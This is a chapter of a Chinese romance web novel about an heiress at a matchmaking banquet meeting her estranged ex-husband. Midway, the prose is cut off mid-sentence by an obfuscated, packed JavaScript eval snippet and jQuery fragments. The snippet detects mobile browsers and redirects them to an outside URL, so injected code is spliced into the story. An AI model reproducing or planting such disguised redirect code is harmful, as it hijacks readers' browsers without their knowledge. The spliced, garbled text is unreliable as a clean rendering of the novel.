再过五分钟，丧尸就要粉墨登场了。
商毓凝侧身靠近窗户，温热鼻息瞬间让玻璃起了雾，她抬手擦了擦，擦出一片冰天雪地。
寒冬腊月，钱江连日大雪，园子里梅花开得正盛，团团簇簇的红结满枝桠，冷风一吹，簌簌地落。
这地方是秋水居，她小时候跟父母一起住的地方，算起来已经有九年没回来过。
高中毕业后，她随父母移居德国，前些天才回到钱江。若非要办梅花宴，她断不会回这伤心之地。
所谓梅花宴，其实只是幌子，真正目的是让她结识钱江的青年才俊，尽快把终身大事定下，省得留在商家碍眼。
爷爷倒是想留她几年，但商毓凝不想让他夹在中间为难，便在大伯母提出办梅花宴时从善如流应下。
雪花随凛冽的风扑上玻璃，嚓嚓，嚓嚓，脚步声混在其中，有人来了。
商毓凝下楼来到前厅，首位来宾正和爷爷笑吟吟地聊天。
见她走近，身穿咖色大衣的青年起身微笑：“你好商小姐，都通许家，许皓。”
自报家门显然已经猜到宴会深意，她也不忸怩，落落大方伸出手：“你好，我是商毓凝。”
两人礼貌握过手，坐下闲谈几句，得知她是读哲学的，许皓眼睛一亮，拎出死了两千多年的柏拉图大谈特谈唯心主义，高呼自由万岁，天真又激进的模样，一看就被家里保护得很好。
宾客陆陆续续到来，同是钱江豪门子弟，彼此之间都认识，他们三五成群聊起来，商毓凝才找到机会溜出去透口气。
感觉有点跟不上国内审美发展了。
随便一个男的就敢把“帅哥”标签贴脑门上招摇撞骗，长成那种歪瓜裂枣还自吹自擂说跟她绝配。
她望着映在玻璃门上明艳艳的脸，再透过窗帘缝隙看那块芝麻饼，实在想问：除了身高哪配了？
方才她问他年纪，他说他一米八，再问他在哪念的大学，他说他爸是嘉南首富。
高富帅只占俩是入不了她商大小姐法眼的。
不怪她要求高，任谁吃惯好的都不可能将就自己吃差的。
正当红的顶流男明星是她高中谈过的男友，她在柏林还有过一位优质前夫，如今再看这一屋子的丧尸，只觉得祸害了自己的眼睛。
商毓凝转身背对窗户，趴在栏杆上，百无聊赖把玩一枝探入檐下的梅花。
哒哒，哒哒，梅花林后传来的脚步声抑扬顿挫。
佣人擦亮嗓门喊：“程公子您来啦。”
梅枝猝然折断，积雪哗哗坠落，熟悉的身影在剧烈颤动的花枝中若隐若现。
商毓凝握着树枝发愣。
她不是把他的名字划掉了吗？
受邀名单先由爷爷拟定，挑的全是一些门当户对和风评优良的单身青年。程家是名门望族，程澈出了名的洁身自好，自然在受邀之列。
可名单交给她时，她分明在他的名字上画了红叉，派出去的请柬也没他的份……不请自来，真是一如既往的不要脸。
“凝凝？人呢跑哪去了？”
“哎，就来。”
商毓凝囫囵应了声，摸出口红，对着窗户玻璃，往本就水润珠光的红唇上厚厚添上一层。
拉开门回屋，她假装不经意瞧见新面孔，径自走过去，端起恰到好处的笑容问：“先生贵姓？”
他闻言微怔，讳莫如深睇她一眼，旋即笑着伸出手：“免贵姓程，程澈。”
“听梁晏提过，久仰大名。”她将手递过去，碰一碰指尖就想移开，不料对方纤长的手指迅速折起，满握住她的手，拇指还在手背上用力按了下。
两手交握时间略长，有人察觉不对劲侧目看来，程澈在这时松了手。
“看来商小姐记性不太好，我们高中同桌过，后来——”
他似笑非笑盯着她的唇，戛然而止的话说得暧昧。
商毓凝心里发怵，面上强撑冷静，睁着一双无辜的大眼睛歪了歪头：“嗯？”
悄无声息的警告，他心领神会话锋一转：“后来毕业晚会，你没来。”
“是，我和班里同学不太熟。”
芝麻饼朗声插话：“商小姐快十年没回国，哪里还记得什么高中同学，程少爷甭想攀关系捷足先登，我们都是同一起跑线的。”
其他人纷纷附和，程澈淡漠扫他们一眼，笑而不语。
“程先生请入座。”
厅内没有安排他的位置，商毓凝交代佣人临时添置，先领他到她的座位，顺便为他斟一杯新茶。
正准备撤下用过的茶杯，他的手却绕过刚沏好的热茶，端起凉茶一饮而尽。
唇贴在留有口红印那侧，她喝剩的茶浸润他的唇，不知是不是错觉，喝过茶后，他的唇色明显深了一度。
商毓凝皱了皱眉头。
他的不要脸程度，她见识过的。
“好茶。”程澈提起茶壶，壶口对准的却不是杯口，而是握杯子的手。
滚烫茶水哗啦啦浇注手背，她不自觉瞪大眼睛，差点脱口而出一句“你疯了”。
他微阖着眼笑，蓦地拂落水杯，发出一声闷哼。
有她挡在面前，其他人都不知道发生什么事，纷纷循声看来。
“怎么了？”爷爷率先起身问。
商毓凝侧转身，茫然望向爷爷摇头。
这疯子提起茶壶就往自己手上浇，她也看不明白。
程澈摆摆手：“没事，刚倒茶不小心倒手上了，不严重。”
“王妈，快叫医生过来。”
秋水居长年无人居住，没有家庭医生留守，如果要等医生从商宅赶过来，只怕猪蹄子都烫烂了。
况且他自己就是医生，虽然是治神经和精神的，但基本救护知识还是懂得吧？
所有人都围过来关心程家独苗，唯独商毓凝杵在旁边一言不发，静静等着图穷匕见。
“不麻烦，涂点烫伤膏就行。”
“这地方自我走后就没人住，有烫伤膏也过期了。”她暗下逐客令，“程先生要不尽快去医院看看吧。”
程澈凝眸望向她：“没有烫伤膏，芦荟也行。”
在这等着她呢。
很久以前，她和他视频通话时，炫耀过自己种的芦荟。离开秋水居后，盆栽绿植一直有保姆帮忙照料，她刚看过，那几盆芦荟蓊蓊郁郁。
上到二楼拐进过厅，商毓凝停下脚步，蹙眉嗔视：“你到底想干什么？”
“是谁前几天说，”程澈蓦然向前倾身，温热气息掠过她的眉眼，“装不认识的才念念不忘？”
墙上挂钟嘀嗒嘀嗒，时间退回上周三。
飞机降落西泠机场，商毓凝刚关掉飞行模式，闺蜜电话第一时间打来。
耳机叮声提示已断开连接，清冷话音暴露在空气中：“我在西出口等你。”
门徐徐关上，电梯突然猛烈晃动。
一只手卡进门缝，滚轮轱辘，亮黑行李箱溜进电梯，和她的杏白箱子碰头。
雪松香扑面而来，她呼吸一滞，抬头，撞入一双潋滟杏眸。
电光火石间，视线交汇，熟悉面容勾起回忆里无数个画面。
飘窗里形影痴缠，栈桥上依依惜别，教学楼下相视一笑……一帧一帧，如同电影倒带回播。
主角从旧电影走出，覆着一身风尘，星灰羊毛大衣垂至膝盖，衣摆浮动间，长腿一迈走进电梯。
想过冤家路窄，万万没想到，这么窄。
商毓凝挪了下行李，给自己腾出相对安全的角落，露出尴尬又不失礼貌的微笑，挥挥手。
“嗨。”
程澈置若罔闻，唇角弯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271084|182302||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出讥讽的弧度。
捕捉到他眼中转瞬即逝的嫌恶，她收起泛滥的礼貌，轻嗤一声。
气氛更尴尬了。
她假装无事发生背过身去，可程澈跟着侧身，两人在铝面镜中猝不及防对视，眼底都闪过一丝局促。
“我们认识？”
程澈就站在身后，说话时，热气拨开头顶的发，亲昵地揉她后脑勺。
她坦然自若：“放不下的人，才装不认识。”
“商毓凝。”
“知道了，我才不会自作多情。”她云淡风轻地寒暄，“你去哪，出差还是旅游？”
“无可奉告。”
“……”
电梯运作声在诡异的静谧中轰隆轰隆，他们没有再讲话。
地面湿漉，天上仍飘着雨，闺蜜的车停在马路对面，她没有伞。
“程总，行李给我，您用这把伞。”
程澈接过助理递上的伞，向天举起轻轻一摁，雨花在伞面盛放。
“没带伞？我去接你。”说话时有意无意看向她，假如他没戴耳机的话，也许她会以为……
以为海豚伞情圣又对陌生女孩释放丘比特之箭。
商毓凝巴巴望着他助理手上的两把伞，余光扫过他三毛钱一斤的温柔表情，禁不住冷笑。
反正雨不大，距离不远，走过去不至于湿透，她这样自我安慰着，趁绿灯踏上斑马线。
抵达马路对面，隔着一帘冷雨远远回望，一辆接一辆车在他们中间流过。
雨洗过的信号灯模糊湿冷，红光绿光在他身上扑朔，像发生故障的电视机，沙沙沙挣扎一会，最终逃不过黑屏的宿命。
“商小姐，你找到芦荟了吗？”
身后楼梯传来许皓的询问，混着脚步声逼近。
商毓凝下意识推开近在咫尺的男人。
程澈似有所料，趁机拉住她的手，手指一根一根嵌入指缝，十指相扣。
“放开。”她几乎是从牙缝里挤出两个字。
他用另一只手拨弄她的鬓发，语气有些委屈：“你还没有回答我的问题。”
脚步声越来越清晰，她尝试挣脱束缚没成功，索性反握住他的手腕，趁他没反应过来时用力把他拖走。
打开房门两个人一起挤进去，关门反锁。
商毓凝气喘吁吁瞪着他，额角沁出的汗泅湿了鬓发，弯弯曲曲粘在眼尾，衬得媚眼秋波愈发动人。
程澈再度倾身靠近，阴影将她压在门上，另只手替她揩了揩发卷。
“你给我松开！”她抬脚猛地踩上皮鞋。
“如果我说，不呢？”察觉她另一只手蠢蠢欲动，程澈一并捉住，“动不动就扇人巴掌可不是好习惯。”
“要你管？你谁啊你死皮赖脸多管闲事。”
“又装不认识？看来真对我念念不忘。”
他说着越靠越近，抬起她的脸，拇指抵着唇瓣摩挲，鼻尖轻一下重一下蹭她脸颊。
耳鬓厮磨间气温陡然升高，浓郁雪松香从他领口间源源不断蒸出，她略偏了偏头，理不直气也壮。
“我高中同学叫程煜澄，你是哪个？”
“三年前跟你登记结婚的又是哪个？”
……
“许先生你怎么上来了？”商毓凝抿唇笑。
“看你们一直没动静，找不到芦荟的话，香油也可以缓解烫伤的。咦？怎么不见程少爷？”许皓东张西望。
“他去洗手……”
“找我？”身后房门倏然打开，程澈气定神闲走出来。
衬衫领口敞开，领带不知道什么时候缠到手臂上去，唇角晕开一抹不同寻常的红。
和她的唇色一模一样。
站到她身边，熟稔地将领带往她面前递。
“你扯开的，你帮我系回去。”